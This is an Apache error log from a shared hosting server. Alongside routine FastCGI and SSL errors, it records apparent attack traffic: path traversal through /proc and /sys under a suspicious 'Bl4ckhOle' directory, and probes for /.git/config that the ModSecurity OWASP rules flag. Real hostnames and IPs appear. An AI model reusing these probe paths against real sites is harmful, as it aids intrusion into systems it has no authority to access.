[Fri Jul 17 09:53:28.725849 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:57184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:28.733939 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.057003 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.224905 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.386935 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.550382 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.719790 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:29.893359 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.056475 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.223894 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.385962 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.549484 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.711232 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:30.882783 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:31.045846 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:31.208994 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:31.371404 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:31.548323 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:31.716232 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.047716 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.209562 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.373734 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.535283 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.709790 2026] [proxy_fcgi:error] [pid 2050572:tid 2050572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:32.871545 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.032516 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:33.037153 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.198756 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.365159 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.407514 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:50410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:33.530391 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.699523 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:33.861175 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.024264 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.185908 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.356053 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.517344 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.668111 2026] [security2:error] [pid 2034024:tid 2034024] [client 112.135.130.237:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuRY-0g_VSPeIeFN3LSAAAAAs"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:53:34.668152 2026] [security2:error] [pid 2034024:tid 2034024] [client 112.135.130.237:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuRY-0g_VSPeIeFN3LSAAAAAs"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:53:34.700010 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:34.883557 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.047089 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.209134 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.372736 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.535019 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.702268 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:35.864053 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:36.027843 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:36.192393 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:36.361755 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:36.523274 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:36.687707 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.013418 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.184614 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.353342 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.531448 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.693615 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:37.863034 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:38.115096 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:38.497790 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:38.670199 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:38.819593 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:38.835574 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:39.177252 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:39.279804 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:51098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:39.431865 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:39.707457 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:39.878095 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.040890 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.280591 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.452214 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.564422 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:51164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:40.617002 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.784322 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:40.803159 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:40.804924 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:40.958966 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:41.114207 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.116798 2026] [autoindex:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.79.11.186:0] AH01275: Can't open directory for index: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/self/root/home/newmedla/
[Fri Jul 17 09:53:41.119343 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.125372 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:41.220457 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.302516 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:41.304664 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 47.82.52.156:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:21/subsystem/drivers_probe
[Fri Jul 17 09:53:41.417199 2026] [security2:error] [pid 2060576:tid 2060576] [client 47.79.15.89:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:7/subsystem/tty46/dev"] [unique_id "almuTcYpfjINrWa7A8HrXwAAAAI"]
[Fri Jul 17 09:53:41.417249 2026] [security2:error] [pid 2060576:tid 2060576] [client 47.79.15.89:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:7/subsystem/tty46/dev"] [unique_id "almuTcYpfjINrWa7A8HrXwAAAAI"]
[Fri Jul 17 09:53:41.424831 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.469331 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:41.469901 2026] [security2:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/comdefor-global": Permission denied [hostname "mail.comdef.org"] [uri "/wp-links-opml.php"] [unique_id "almuTZuhBssQvDAz4zCsAQAAABI"]
[Fri Jul 17 09:53:41.469927 2026] [security2:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/comdefor-ip": Permission denied [hostname "mail.comdef.org"] [uri "/wp-links-opml.php"] [unique_id "almuTZuhBssQvDAz4zCsAQAAABI"]
[Fri Jul 17 09:53:41.511376 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.511401 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.610458 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.674891 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:41.718590 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.799556 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:41.837460 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.020608 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.183219 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.352372 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.516851 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.685303 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:42.851651 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.015190 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.180902 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.194620 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:43.265141 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:43.350817 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.494637 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 47.82.15.235:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:02/physical_node/resource3
[Fri Jul 17 09:53:43.517563 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.680660 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:43.682318 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:43.843067 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:44.006296 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:44.013755 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:44.176693 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:44.236940 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:44.342128 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:44.695582 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:34668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:45.311664 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:45.391906 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:45.452642 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:45.562261 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.102773 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.177315 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.185204 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.320811 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.326519 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.518461 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.651886 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.655920 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:47.716959 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:48.073643 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:48.208405 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:48.855214 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 57.141.18.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory10/subsystem/devices/memory114/subsystem/devices/memory107/node0/compact
[Fri Jul 17 09:53:49.936698 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:34994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:51.902403 2026] [ssl:error] [pid 2060576:tid 2060576] (70014)End of file found: [client 66.85.158.91:42658] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:55.234498 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 57.141.18.81:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/sys/kernel/slab/dma-kmalloc-1k/trace
[Fri Jul 17 09:53:56.256956 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:58.020027 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:58.237686 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:42998] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:59.976379 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:53:59.977807 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 57.141.18.13:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory3/subsystem/devices/memory3/subsystem/devices/memory93/node0/memory56/subsystem/drivers_probe
[Fri Jul 17 09:54:01.628324 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:48856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:02.579172 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.102:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory99/node0/memory58/node0/memory113/"] [unique_id "almuYgRRrtuZqNDDSqW6-AAAABo"]
[Fri Jul 17 09:54:02.579232 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.102:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory99/node0/memory58/node0/memory113/"] [unique_id "almuYgRRrtuZqNDDSqW6-AAAABo"]
[Fri Jul 17 09:54:03.918431 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuY4l9vhFBGA6D8l-FLAAAAAw"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:54:03.918481 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuY4l9vhFBGA6D8l-FLAAAAAw"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:54:04.380534 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:04.953681 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:05.769846 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:07.065367 2026] [security2:error] [pid 2050582:tid 2050582] [client 134.122.124.74:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.vtradelanka.com"] [uri "/.git/config"] [unique_id "almuZ3XJZgUJ1jsEHj0tRQAAABc"]
[Fri Jul 17 09:54:07.065507 2026] [security2:error] [pid 2050582:tid 2050582] [client 134.122.124.74:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vtradelanka.com"] [uri "/.git/config"] [unique_id "almuZ3XJZgUJ1jsEHj0tRQAAABc"]
[Fri Jul 17 09:54:07.065806 2026] [security2:error] [pid 2050582:tid 2050582] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vtradelanka.com"] [uri "/.git/config"] [unique_id "almuZ3XJZgUJ1jsEHj0tRQAAABc"]
